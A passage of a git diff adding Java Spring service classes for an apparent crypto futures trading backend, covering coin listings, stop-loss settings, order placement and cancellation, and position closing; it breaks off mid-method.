selectTCollectionOrderList(TCollectionOrder tCollectionOrder) + { + return tCollectionOrderMapper.selectTCollectionOrderList(tCollectionOrder); + } + + /** + * 新增【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTCollectionOrder(TCollectionOrder tCollectionOrder) + { + tCollectionOrder.setCreateTime(DateUtils.getNowDate()); + return tCollectionOrderMapper.insertTCollectionOrder(tCollectionOrder); + } + + /** + * 修改【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTCollectionOrder(TCollectionOrder tCollectionOrder) + { + tCollectionOrder.setUpdateTime(DateUtils.getNowDate()); + return tCollectionOrderMapper.updateTCollectionOrder(tCollectionOrder); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTCollectionOrderByIds(Long[] ids) + { + return tCollectionOrderMapper.deleteTCollectionOrderByIds(ids); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTCollectionOrderById(Long id) + { + return tCollectionOrderMapper.deleteTCollectionOrderById(id); + } + + @Override + public BigDecimal selectCollectionAmountByUserId(Long userId) { + return tCollectionOrderMapper.selectCollectionAmountByUserId(userId); + } + + @Override + public BigDecimal selectCollectionAmountByAgencyId(Long agencyId) { + return tCollectionOrderMapper.selectCollectionAmountByAgencyId(agencyId); + } + + @Override + public BigDecimal selectCollectionAmountDetail(Long appUserId, String adminParentIds) { + return tCollectionOrderMapper.selectCollectionAmountDetail(appUserId,adminParentIds); + } + + @Override + public BigDecimal getDayCollectionAmount(String beginTime, String endTime) { + return tCollectionOrderMapper.getDayCollectionAmount(beginTime,endTime); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractCoinServiceImpl.java new file mode 100644 index 0000000..e27e8e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractCoinServiceImpl.java @@ -0,0 +1,174 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TContractCoinMapper; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.socket.service.MarketThread; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.Comparator; +import java.util.HashMap; +import java.util.List; +import java.util.stream.Collectors; + +/** + * U本位合约币种Service业务层处理 + * + * @author michael + * @date 2023-07-20 + */ +@Service +public class TContractCoinServiceImpl extends ServiceImpl implements ITContractCoinService { + @Resource + private TContractCoinMapper tContractCoinMapper; + @Resource + private TUserCoinMapper userCoinMapper; + + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private ITOwnCoinService itOwnCoinService; + + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询U本位合约币种 + * + * @param id U本位合约币种主键 + * @return U本位合约币种 + */ + @Override + public TContractCoin selectTContractCoinById(Long id) { + return tContractCoinMapper.selectTContractCoinById(id); + } + + /** + * 查询U本位合约币种列表 + * + * @param tContractCoin U本位合约币种 + * @return U本位合约币种 + */ + @Override + public List selectTContractCoinList(TContractCoin tContractCoin) { + return tContractCoinMapper.selectTContractCoinList(tContractCoin); + } + + /** + * 新增U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + @Override + public int insertTContractCoin(TContractCoin tContractCoin) { + tContractCoin.setSymbol(tContractCoin.getSymbol().toLowerCase()); + tContractCoin.setCreateTime(DateUtils.getNowDate()); + int count = tContractCoinMapper.selectCount(new LambdaQueryWrapper().eq(TContractCoin::getCoin, tContractCoin.getCoin().toLowerCase())); + if (count > 0) { + return 10001; + }else { + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setSlug(tContractCoin.getCoin().toLowerCase()); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(klineSymbol); + if (klineSymbols.size() > 0) { + tContractCoin.setLogo(klineSymbols.get(0).getLogo()); + } + if (!"mt5".equals(tContractCoin.getMarket())) { + tContractCoin.setCoin(tContractCoin.getCoin().toLowerCase()); + } + if(tContractCoin.getMarket().equals("echo")){ + KlineSymbol kSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, tContractCoin.getMarket()).eq(KlineSymbol::getSymbol, tContractCoin.getCoin().toLowerCase())); + tContractCoin.setLogo(kSymbol.getLogo()); + } + HashMap object = new HashMap<>(); + object.put("add_coin", tContractCoin.getCoin()); + redisUtil.addStream(redisStreamNames, object); + return tContractCoinMapper.insertTContractCoin(tContractCoin); + } + } + + /** + * 修改U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + @Override + public int updateTContractCoin(TContractCoin tContractCoin) { + tContractCoin.setUpdateTime(DateUtils.getNowDate()); + return tContractCoinMapper.updateTContractCoin(tContractCoin); + } + + /** + * 批量删除U本位合约币种 + * + * @param ids 需要删除的U本位合约币种主键 + * @return 结果 + */ + @Override + public int deleteTContractCoinByIds(Long[] ids) { + return tContractCoinMapper.deleteTContractCoinByIds(ids); + } + + /** + * 删除U本位合约币种信息 + * + * @param id U本位合约币种主键 + * @return 结果 + */ + @Override + public int deleteTContractCoinById(Long id) { + return tContractCoinMapper.deleteTContractCoinById(id); + } + + @Override + public TContractCoin selectContractCoinBySymbol(String symbol) { + return tContractCoinMapper.selectOne(new LambdaQueryWrapper().eq(TContractCoin::getCoin, symbol)); + } + + @Override + public List getCoinList() { + TContractCoin tContractCoin = new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setVisible(0L); + List list = tContractCoinMapper.selectTContractCoinList(tContractCoin); + list =list.stream().sorted(Comparator.comparing(TContractCoin::getSort)).collect(Collectors.toList()); + for (TContractCoin tContractCoin1: list) { + String logo = tContractCoin1.getLogo(); + if(logo.contains("echo-res")){ + tContractCoin1.setLogo(logo); + }else { + tContractCoin1.setLogo(" https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui"+ logo.substring(logo.lastIndexOf("/"),logo.length())); + } + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); + queryWrapper.eq(TUserCoin::getCoin, tContractCoin1.getCoin().toLowerCase()); + if(StpUtil.isLogin()){ + queryWrapper.eq(TUserCoin::getUserId, StpUtil.getLoginIdAsLong()); + TUserCoin userCoin = userCoinMapper.selectOne(queryWrapper); + if(ObjectUtils.isNotEmpty(userCoin)){ + tContractCoin1.setIsCollect(1); + }else { + tContractCoin1.setIsCollect(2); + } + } + } + return list; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractLossServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractLossServiceImpl.java new file mode 100644 index 0000000..a8558a8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractLossServiceImpl.java @@ -0,0 +1,195 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TContractOrder; +import com.ruoyi.bussiness.domain.TContractPosition; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITContractPositionService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TContractLossMapper; +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; + +import javax.annotation.Resource; + +/** + * 止盈止损表Service业务层处理 + * + * @author ruoyi + * @date 2023-07-25 + */ +@Service +public class TContractLossServiceImpl extends ServiceImpl implements ITContractLossService { + @Autowired + private TContractLossMapper tContractLossMapper; + + @Autowired + private ITContractPositionService contractPositionService; + + @Resource + private RedisCache redisCache; + @Resource + private ITContractCoinService contractCoinService; + + /** + * 查询止盈止损表 + * + * @param id 止盈止损表主键 + * @return 止盈止损表 + */ + @Override + public TContractLoss selectTContractLossById(Long id) { + return tContractLossMapper.selectTContractLossById(id); + } + + /** + * 查询止盈止损表列表 + * + * @param tContractLoss 止盈止损表 + * @return 止盈止损表 + */ + @Override + public List selectTContractLossList(TContractLoss tContractLoss) { + return tContractLossMapper.selectTContractLossList(tContractLoss); + } + + /** + * 新增止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + @Override + public int insertTContractLoss(TContractLoss tContractLoss) { + tContractLoss.setCreateTime(DateUtils.getNowDate()); + return tContractLossMapper.insertTContractLoss(tContractLoss); + } + + /** + * 修改止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + @Override + public int updateTContractLoss(TContractLoss tContractLoss) { + tContractLoss.setUpdateTime(DateUtils.getNowDate()); + return tContractLossMapper.updateTContractLoss(tContractLoss); + } + + /** + * 批量删除止盈止损表 + * + * @param ids 需要删除的止盈止损表主键 + * @return 结果 + */ + @Override + public int deleteTContractLossByIds(Long[] ids) { + return tContractLossMapper.deleteTContractLossByIds(ids); + } + + /** + * 删除止盈止损表信息 + * + * @param id 止盈止损表主键 + * @return 结果 + */ + @Override + public int deleteTContractLossById(Long id) { + return tContractLossMapper.deleteTContractLossById(id); + } + + /** + * 设置止盈止损 + * + * @param id + * @param contractLoss + * @return + */ + @Override + public String cntractLossSett( TContractLoss contractLoss) { + + //仓位 + TContractPosition contractPosition = contractPositionService.selectTContractPositionById(contractLoss.getPositionId()); + //购买类型 0 买多 1卖空 + Integer type = contractPosition.getType(); + + BigDecimal earnPrice = contractLoss.getEarnPrice(); + + BigDecimal lossPrice = contractLoss.getLosePrice(); + + BigDecimal earnNum = contractLoss.getEarnNumber(); + + BigDecimal lossNum = contractLoss.getLoseNumber(); + + BigDecimal num = contractPosition.getOpenNum(); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol()); + + BigDecimal openPrice = contractPosition.getOpenPrice(); + //市价1 0限价 + Integer deleGateType = contractLoss.getDelegateType(); + if (1 == deleGateType) { + if (Objects.nonNull(earnPrice)) { + contractLoss.setEarnDelegatePrice(currentlyPrice); + } + if (Objects.nonNull(lossPrice)) { + contractLoss.setLoseDelegatePrice(currentlyPrice); + } + } + if (type == 0) { + if (Objects.nonNull(earnPrice) && earnPrice.compareTo(openPrice) < 0) { + return MessageUtils.message("contract.buy.earn.error"); + } + if (Objects.nonNull(lossPrice) && lossPrice.compareTo(openPrice) > 0) { + return MessageUtils.message("contract.buy.loss.error"); + } + } else if (type == 1) { + if (Objects.nonNull(earnPrice) && earnPrice.compareTo(openPrice) > 0) { + return MessageUtils.message("contract.sell.earn.error"); + } + if ((Objects.nonNull(lossPrice) && lossPrice.compareTo(openPrice) < 0)) { + return MessageUtils.message("contract.sell.loss.error"); + } + } + if ((Objects.nonNull(earnNum) && earnNum.compareTo(num) > 0)) { + return MessageUtils.message("contract.num.limit"); + } + if ((Objects.nonNull(lossNum) && lossNum.compareTo(num) > 0)) { + return MessageUtils.message("contract.num.limit"); + } + contractLoss.setCreateTime(new Date()); + contractLoss.setStatus(0); + contractLoss.setPositionId(contractPosition.getId()); + contractLoss.setUserId(contractPosition.getUserId()); + contractLoss.setType(contractPosition.getType()); + contractLoss.setSymbol(contractPosition.getSymbol()); + contractLoss.setLeverage(contractPosition.getLeverage()); + if (Objects.nonNull(earnNum)) { + contractLoss.setEarnNumber(earnNum); + } + if (Objects.nonNull(lossNum)) { + contractLoss.setLoseNumber(lossNum); + } + tContractLossMapper.insertTContractLoss(contractLoss); + return "success"; + } + + @Override + public void updateContractLoss(Long positionId) { + tContractLossMapper.updateContractLoss(positionId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractOrderServiceImpl.java new file mode 100644 index 0000000..fda3d96 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractOrderServiceImpl.java @@ -0,0 +1,327 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TContractOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +/** + * U本位委托Service业务层处理 + * + * @author michael + * @date 2023-07-20 + */ +@Service +@Slf4j +public class TContractOrderServiceImpl extends ServiceImpl implements ITContractOrderService { + @Resource + private TContractOrderMapper tContractOrderMapper; + + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITContractPositionService contractPositionService; + + @Resource + private ITAppAssetService appAssetService; + + @Resource + private ITAppWalletRecordService appWalletRecordService; + + @Resource + private ITAppUserService appUserService; + + @Resource + private RedisCache redisCache; + @Resource + private SettingService settingService; + + /** + * 查询U本位委托 + * + * @param id U本位委托主键 + * @return U本位委托 + */ + @Override + public TContractOrder selectTContractOrderById(Long id) { + return tContractOrderMapper.selectTContractOrderById(id); + } + + /** + * 查询U本位委托列表 + * + * @param tContractOrder U本位委托 + * @return U本位委托 + */ + @Override + public List selectTContractOrderList(TContractOrder tContractOrder) { + return tContractOrderMapper.selectTContractOrderList(tContractOrder); + } + + /** + * 新增U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + @Override + public int insertTContractOrder(TContractOrder tContractOrder) { + tContractOrder.setCreateTime(DateUtils.getNowDate()); + return tContractOrderMapper.insertTContractOrder(tContractOrder); + } + + /** + * 修改U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + @Override + public int updateTContractOrder(TContractOrder tContractOrder) { + tContractOrder.setUpdateTime(DateUtils.getNowDate()); + return tContractOrderMapper.updateTContractOrder(tContractOrder); + } + + /** + * 批量删除U本位委托 + * + * @param ids 需要删除的U本位委托主键 + * @return 结果 + */ + @Override + public int deleteTContractOrderByIds(Long[] ids) { + return tContractOrderMapper.deleteTContractOrderByIds(ids); + } + + /** + * 删除U本位委托信息 + * + * @param id U本位委托主键 + * @return 结果 + */ + @Override + public int deleteTContractOrderById(Long id) { + return tContractOrderMapper.deleteTContractOrderById(id); + } + + /** + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @param type + * @param delegateType + * @return + */ + @Override + public String buyContractOrder(String symbol, BigDecimal leverage, BigDecimal delegatePrice, BigDecimal delegateTotal, Long userId, Integer type, Integer delegateType) { + if(delegateType==1){ + log.info("前端传入实时价格"+delegatePrice); + delegatePrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + log.info("获取实时价格"+delegatePrice); + } + //校验 + String result=verifySubmit(symbol, leverage, delegatePrice, delegateTotal, userId.longValue()); + if (!"success".equals(result)) { + return result; + } + String serialId = "U" + OrderUtils.generateOrderNum(); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + TAppUser user = appUserService.selectTAppUserByUserId(userId); + TAppAsset tAppAsset = appAssetService.getAssetByUserIdAndType(userId, AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal beforeMount = tAppAsset.getAvailableAmount(); + BigDecimal shareNumber = tContractCoin.getShareNumber(); + BigDecimal num = shareNumber.multiply(delegateTotal); + BigDecimal amount = ContractComputerUtil.getAmount(delegatePrice, num, leverage); + BigDecimal openFee = tContractCoin.getOpenFee().multiply(amount).setScale(6, RoundingMode.HALF_UP); + + BigDecimal closePrice = ContractComputerUtil.getStrongPrice(leverage, type, delegatePrice, num, amount,openFee); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + //市价 + if (delegateType == 1) { + //扣除金额 + tAppAsset.setAmout(tAppAsset.getAmout().subtract(amount)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().subtract(amount)); + createPosition(symbol, delegatePrice, closePrice, amount, num, leverage, type, delegateType, openFee, userId, serialId,user.getAdminParentIds(),0); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(userId, amount, RecordEnum.CONTRACT_TRANSACTIONSUB.getCode(), user.getLoginName(), serialId, "合约交易", beforeMount, beforeMount.subtract(amount), tContractCoin.getBaseCoin().toLowerCase(),user.getAdminParentIds()); + }else{ + if (comparePrice(type, currentlyPrice, delegatePrice)) { + //扣除金额 + amount=ContractComputerUtil.getAmount(currentlyPrice, num, leverage); + openFee=tContractCoin.getOpenFee().multiply(amount).setScale(6, RoundingMode.HALF_UP); + closePrice = ContractComputerUtil.getStrongPrice(leverage, type, currentlyPrice, num, amount, openFee); + tAppAsset.setAmout(tAppAsset.getAmout().subtract(amount)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().subtract(amount)); + createPosition(symbol, currentlyPrice, closePrice, amount, num, leverage, type, delegateType, openFee, userId, serialId, user.getAdminParentIds(),0); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(userId, amount, RecordEnum.CONTRACT_TRANSACTIONSUB.getCode(), user.getLoginName(), serialId, "合约交易", beforeMount, beforeMount.subtract(amount), tContractCoin.getBaseCoin().toLowerCase(),user.getAdminParentIds()); + }else { + createContractOrder(symbol,delegatePrice,amount,num,leverage,type,delegateType,openFee,userId,serialId,user.getAdminParentIds()); + } + } + return "success"; + } + + /** + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @return + */ + @Override + public String verifySubmit(String symbol, BigDecimal leverage, BigDecimal delegatePrice, BigDecimal delegateTotal, Long userId) { + + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + BigDecimal shareNumber = tContractCoin.getShareNumber(); + BigDecimal minShare = tContractCoin.getMinShare(); + BigDecimal maxShare = tContractCoin.getMaxShare(); + BigDecimal num = shareNumber.multiply(delegateTotal); + //合约账户 + TAppAsset tAppAsset = appAssetService.getAssetByUserIdAndType(userId, AssetEnum.CONTRACT_ASSETS.getCode()); + if (Objects.isNull(tAppAsset)) { + return MessageUtils.message("contract.accont.error"); + } + BigDecimal availableAmount = tAppAsset.getAvailableAmount(); + BigDecimal amount = ContractComputerUtil.getAmount(delegatePrice, num, leverage); + //判断余额 + if (amount.compareTo(availableAmount) > 0) { + return MessageUtils.message("contract.accont.error"); + } + if (delegateTotal.compareTo(minShare) < 0) { + return MessageUtils.message("contract.min.share",minShare); + } + if (delegateTotal.compareTo(maxShare) > 0) { + return MessageUtils.message("contract.max.share",maxShare); + } + return "success"; + } + + /** + * @param id + * @return + */ + @Override + public String canCelOrder(Long id) { + + TContractOrder tContractOrder = tContractOrderMapper.selectOne(new LambdaQueryWrapper() + .eq(TContractOrder::getId,id).eq(TContractOrder::getUserId,StpUtil.getLoginIdAsLong()) + .eq(TContractOrder::getStatus,0)); + if(tContractOrder == null){ + return MessageUtils.message("order.status.error"); + } + +// if(tContractOrder.getStatus()==3){ +// return MessageUtils.message("order.status.error"); +// } + + TAppAsset tAppAsset = appAssetService.getAssetByUserIdAndType(tContractOrder.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(tContractOrder.getDelegateValue())); + tAppAsset.setOccupiedAmount(tAppAsset.getOccupiedAmount().subtract(tContractOrder.getDelegateValue())); + appAssetService.updateTAppAsset(tAppAsset); + tContractOrder.setStatus(3); + tContractOrderMapper.updateTContractOrder(tContractOrder); + return "success"; + } + + //创建仓位对象 + private TContractPosition createPosition(String symbol, BigDecimal openPrice, BigDecimal closePrice, BigDecimal amount, BigDecimal num, BigDecimal level, Integer type, Integer delegateType, BigDecimal openFee, Long uerId, String serialId, String adminParentIds,Integer deliveryDays) { + TContractPosition tContractPosition = new TContractPosition(); + BigDecimal bigDecimal = amount.subtract(openFee); + tContractPosition.setSymbol(symbol); + tContractPosition.setAmount(bigDecimal); + tContractPosition.setAdjustAmount(bigDecimal); + tContractPosition.setLeverage(level); + tContractPosition.setClosePrice(closePrice); + tContractPosition.setOpenNum(num); + tContractPosition.setOpenPrice(openPrice); + tContractPosition.setOpenFee(openFee); + tContractPosition.setStatus(0); + tContractPosition.setType(type); + tContractPosition.setDelegateType(delegateType); + tContractPosition.setCreateTime(new Date()); + tContractPosition.setRemainMargin(bigDecimal); + tContractPosition.setOrderNo(serialId); + tContractPosition.setUserId(uerId); + tContractPosition.setEntrustmentValue(openPrice.multiply(num).setScale(6,RoundingMode.HALF_UP)); + tContractPosition.setAdminParentIds(adminParentIds); + tContractPosition.setDeliveryDays(0); + tContractPosition.setSubTime(new Date()); + contractPositionService.save(tContractPosition); + + //u本位打码 + TAppUser tAppUser = appUserService.getById(uerId); + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getContractIsOpen()) && addMosaic.getContractIsOpen()){ + tAppUser.setTotleAmont(tAppUser.getTotleAmont().add(tContractPosition.getAmount())); + appUserService.updateTotleAmont(tAppUser); + } + } + + return tContractPosition; + } + //创建委托对象 + private void createContractOrder(String symbol, BigDecimal openPrice, BigDecimal amount, BigDecimal num, BigDecimal level, Integer type, Integer delegateType, BigDecimal openFee, Long uerId, String serialId, String adminParentIds) { + TContractOrder tContractOrder = new TContractOrder(); + tContractOrder.setSymbol(symbol); + tContractOrder.setDelegatePrice(openPrice); + tContractOrder.setDelegateValue(amount); + tContractOrder.setOrderNo(serialId); + tContractOrder.setDelegateTotal(num); + tContractOrder.setDelegateType(delegateType); + tContractOrder.setType(type); + tContractOrder.setStatus(0); + tContractOrder.setFee(openFee); + tContractOrder.setCreateTime(new Date()); + tContractOrder.setDelegateTime(new Date()); + tContractOrder.setLeverage(level); + tContractOrder.setUserId(uerId); + tContractOrder.setAdminParentIds(adminParentIds); + tContractOrderMapper.insert(tContractOrder); + appAssetService.noSettlementAssetByUserId(uerId,"usdt",amount); + } + private boolean comparePrice(Integer type, BigDecimal currentlyPrice, BigDecimal delegatePrice) { + if (0 == type) { + //限价于大于当前价 + if (delegatePrice.compareTo(currentlyPrice) >= 0) { + return true; + } + } else { + //限价小于等于当前价 + if (delegatePrice.compareTo(currentlyPrice) <= 0) { + return true; + } + } + return false; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractPositionServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractPositionServiceImpl.java new file mode 100644 index 0000000..b315da0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractPositionServiceImpl.java @@ -0,0 +1,635 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.*; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import jnr.ffi.annotations.In; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TContractPositionMapper; +import com.ruoyi.bussiness.domain.TContractPosition; + +import javax.annotation.Resource; + +/** + * U本位持仓表Service业务层处理 + * + * @author michael + * @date 2023-07-20 + */ +@Service +@Slf4j +public class TContractPositionServiceImpl extends ServiceImpl implements ITContractPositionService { + @Autowired + private TContractPositionMapper tContractPositionMapper; + + @Autowired + private ITContractCoinService contractCoinService; + + @Autowired + private ITAppAssetService appAssetService; + + @Autowired + private ITAppUserService appUserService; + + @Autowired + private ITAppWalletRecordService appWalletRecordService; + + @Resource + private RedisCache redisCache; + + @Resource + private ITContractLossService contractLossService; + + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询U本位持仓表 + * + * @param id U本位持仓表主键 + * @return U本位持仓表 + */ + @Override + public TContractPosition selectTContractPositionById(Long id) { + return tContractPositionMapper.selectTContractPositionById(id); + } + + /** + * 查询U本位持仓表列表 + * + * @param tContractPosition U本位持仓表 + * @return U本位持仓表 + */ + @Override + public List selectTContractPositionList(TContractPosition tContractPosition) { + return tContractPositionMapper.selectTContractPositionList(tContractPosition); + } + + /** + * 新增U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + @Override + public int insertTContractPosition(TContractPosition tContractPosition) { + tContractPosition.setCreateTime(DateUtils.getNowDate()); + return tContractPositionMapper.insertTContractPosition(tContractPosition); + } + + /** + * 修改U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + @Override + public int updateTContractPosition(TContractPosition tContractPosition) { + HashMap object = new HashMap<>(); + object.put("position", "1"); + redisUtil.addStream(redisStreamNames, object); + return tContractPositionMapper.updateTContractPosition(tContractPosition); + } + + /** + * 批量删除U本位持仓表 + * + * @param ids 需要删除的U本位持仓表主键 + * @return 结果 + */ + @Override + public int deleteTContractPositionByIds(Long[] ids) { + return tContractPositionMapper.deleteTContractPositionByIds(ids); + } + + /** + * 删除U本位持仓表信息 + * + * @param id U本位持仓表主键 + * @return 结果 + */ + @Override + public int deleteTContractPositionById(Long id) { + return tContractPositionMapper.deleteTContractPositionById(id); + } + + @Override + public String allClosePosition(Long id) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + if (contractPosition.getStatus() != 0) { + return MessageUtils.message("order.status.error"); + } + String symol = contractPosition.getSymbol(); + //类型0 买入买多 1 卖出做空 + Integer type = contractPosition.getType(); + //开仓均价 + BigDecimal openPrice = contractPosition.getOpenPrice(); + BigDecimal num = contractPosition.getOpenNum(); + BigDecimal amount = contractPosition.getAdjustAmount(); + + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symol); + //当前价 + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + BigDecimal sellFee = tContractCoin.getCloseFee(); + contractPosition.setDealNum(num); + contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setDealPrice(currentlyPrice); + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + BigDecimal earn=BigDecimal.ZERO; + + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + + if("ok".equals(checkProfit(tContractCoin))){ + earn = ContractComputerUtil.getPositionEarn(openPrice, num, currentlyPrice, type); + }else{ + // -0.5* 4*0.001*10*/0.0001 + BigDecimal sub= ContractComputerUtil.getRate(openPrice,currentlyPrice,type); + + 